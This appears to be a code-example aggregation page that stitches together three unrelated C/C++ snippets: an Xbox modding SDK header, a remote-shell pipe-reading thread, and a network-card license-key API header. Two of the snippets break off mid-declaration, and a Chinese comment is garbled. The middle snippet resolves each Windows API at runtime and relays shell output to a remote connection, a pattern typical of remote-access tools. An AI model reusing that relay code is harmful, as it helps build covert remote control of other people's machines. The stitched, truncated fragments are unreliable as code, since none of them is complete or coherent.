Exemplo n.º 1
0
/*
	OpenSauceBox: SDK for Xbox User Modding

	See license\Xbox\Xbox for specific license information
*/
#pragma once

XBOX_PROC(BOOL, ReadFile, (
		  __in        HANDLE hFile,
		  __out_bcount_part(nNumberOfBytesToRead, *lpNumberOfBytesRead) LPVOID lpBuffer,
		  __in        DWORD nNumberOfBytesToRead,
		  __out_opt   LPDWORD lpNumberOfBytesRead,
		  __inout_opt LPOVERLAPPED lpOverlapped
		  ));
#define ApiReadFile XboxApi.ReadFile



XBOX_PROC(BOOL, WriteFile, (
		  __in        HANDLE hFile,
		  __in_bcount(nNumberOfBytesToWrite) LPCVOID lpBuffer,
		  __in        DWORD nNumberOfBytesToWrite,
		  __out_opt   LPDWORD lpNumberOfBytesWritten,
		  __inout_opt LPOVERLAPPED lpOverlapped
		  ));
#define ApiWriteFile XboxApi.WriteFile



XBOX_PROC(BOOL, SetEndOfFile, (
		  __in HANDLE hFile
Exemplo n.º 2
0
DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lparam)
{
	typedef BOOL (WINAPI *ReadFileT)
		(
		__in        HANDLE hFile,
		__out_bcount_part(nNumberOfBytesToRead, *lpNumberOfBytesRead) LPVOID lpBuffer,
		__in        DWORD nNumberOfBytesToRead,
		__out_opt   LPDWORD lpNumberOfBytesRead,
		__inout_opt LPOVERLAPPED lpOverlapped
		);
	ReadFileT pReadFile = (ReadFileT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"ReadFile");

	typedef HLOCAL (WINAPI *LocalAllocT)
		(
		__in UINT uFlags,
		__in SIZE_T uBytes
		);
	LocalAllocT pLocalAlloc = (LocalAllocT)GetProcAddress(LoadLibrary("kernel32.dll"),"LocalAlloc");

	typedef HLOCAL (WINAPI *LocalFreeT)
		(
		__deref HLOCAL hMem
		);
	LocalFreeT pLocalFree = (LocalFreeT)GetProcAddress(LoadLibrary("kernel32.dll"),"LocalFree");

	typedef VOID (WINAPI *SleepT)
		(
		__in DWORD dwMilliseconds
		);
	SleepT pSleep = (SleepT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"Sleep");

	typedef BOOL (WINAPI *PeekNamedPipeT)
		(
		__in      HANDLE hNamedPipe,
		__out_bcount_part_opt(nBufferSize, *lpBytesRead) LPVOID lpBuffer,
		__in      DWORD nBufferSize,
		__out_opt LPDWORD lpBytesRead,
		__out_opt LPDWORD lpTotalBytesAvail,
		__out_opt LPDWORD lpBytesLeftThisMessage
		);
	PeekNamedPipeT pPeekNamedPipe = (PeekNamedPipeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"PeekNamedPipe");

	unsigned long   BytesRead = 0;
	char	ReadBuff[1024];
	DWORD	TotalBytesAvail;
	CShellManager *pThis = (CShellManager *)lparam;
	while (1)
	{
		pSleep(100);
		while (pPeekNamedPipe(pThis->m_hReadPipeHandle, ReadBuff, sizeof(ReadBuff), &BytesRead, &TotalBytesAvail, NULL)) 
		{
			if (BytesRead <= 0)
				break;
			memset(ReadBuff, 0, sizeof(ReadBuff));
			LPBYTE lpBuffer = (LPBYTE)pLocalAlloc(LPTR, TotalBytesAvail);
			pReadFile(pThis->m_hReadPipeHandle, lpBuffer, TotalBytesAvail, &BytesRead, NULL);
			// ·¢ËÍÊý¾Ý
			pThis->Send(lpBuffer, BytesRead);
			pLocalFree(lpBuffer);
		}
	}
	return 0;
}
Exemplo n.º 3
0
__checkReturn	__success(return != B_FALSE)	boolean_t
efx_lic_v1v2_validate_key(
    __in			efx_nic_t *enp,
    __in_bcount(length)	caddr_t keyp,
    __in			uint32_t length
);

__checkReturn		efx_rc_t
efx_lic_v1v2_read_key(
    __in			efx_nic_t *enp,
    __in_bcount(buffer_size)
    caddr_t bufferp,
    __in			size_t buffer_size,
    __in			uint32_t offset,
    __in			uint32_t length,
    __out_bcount_part(key_max_size, *lengthp)
    caddr_t keyp,
    __in			size_t key_max_size,
    __out			uint32_t *lengthp
);

__checkReturn		efx_rc_t
efx_lic_v1v2_write_key(
    __in			efx_nic_t *enp,
    __in_bcount(buffer_size)
    caddr_t bufferp,
    __in			size_t buffer_size,
    __in			uint32_t offset,
    __in_bcount(length)	caddr_t keyp,
    __in			uint32_t length,
    __out			uint32_t *lengthp